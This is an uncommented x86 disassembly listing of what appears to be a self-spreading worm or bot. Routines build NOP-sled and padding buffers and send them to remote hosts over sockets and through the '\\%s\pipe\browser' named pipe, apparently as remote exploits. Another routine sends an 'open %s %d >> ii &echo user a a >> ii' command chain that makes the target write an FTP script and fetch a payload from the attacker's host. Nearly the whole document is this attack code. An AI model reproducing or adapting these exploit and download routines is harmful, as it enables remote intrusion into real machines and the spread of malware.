arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_446904
		mov	ecx, dword_446908
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_4468F8
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	near ptr byte_5F285B
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461C8
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_44621F
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_446223
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_446227
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445EC8, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465BC[edx*8]
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E18
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F0
		mov	edi, offset loc_445E18
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E18
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E18
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465BC
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi
		push	0
		push	68h
		push	offset dword_44622C
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi
		push	0
		push	0A0h
		push	offset dword_446298
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446450
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464BC
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446530
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		call	near ptr 71AB615Ah
		nop
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_44633C
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463BC
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		nop
		call	near ptr 2830000h
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB0
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi
		push	0
		push	0A8h
		push	offset dword_44603C
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi
		push	0
		push	0DEh
		push	offset dword_4460E8
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2830000h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2830000h
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469AC
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C24
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_44695C
		rep stosd
		mov	eax, dword_446C1C
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_44698C
		lea	edi, [esp+69Ch]
		mov	ax, word_446C18
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_4468F8
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 28503A0h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446910
		push	esi
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 283094Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		call	near ptr 283094Ch
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C5C
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC0, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE1, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CD9, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CEF, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD0
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CD4
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD5
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CD9
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CDD
		mov	[ecx+8], esi
		mov	esi, dword_446CE1
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CE5
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		call	near ptr 77C2C407h
		nop
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
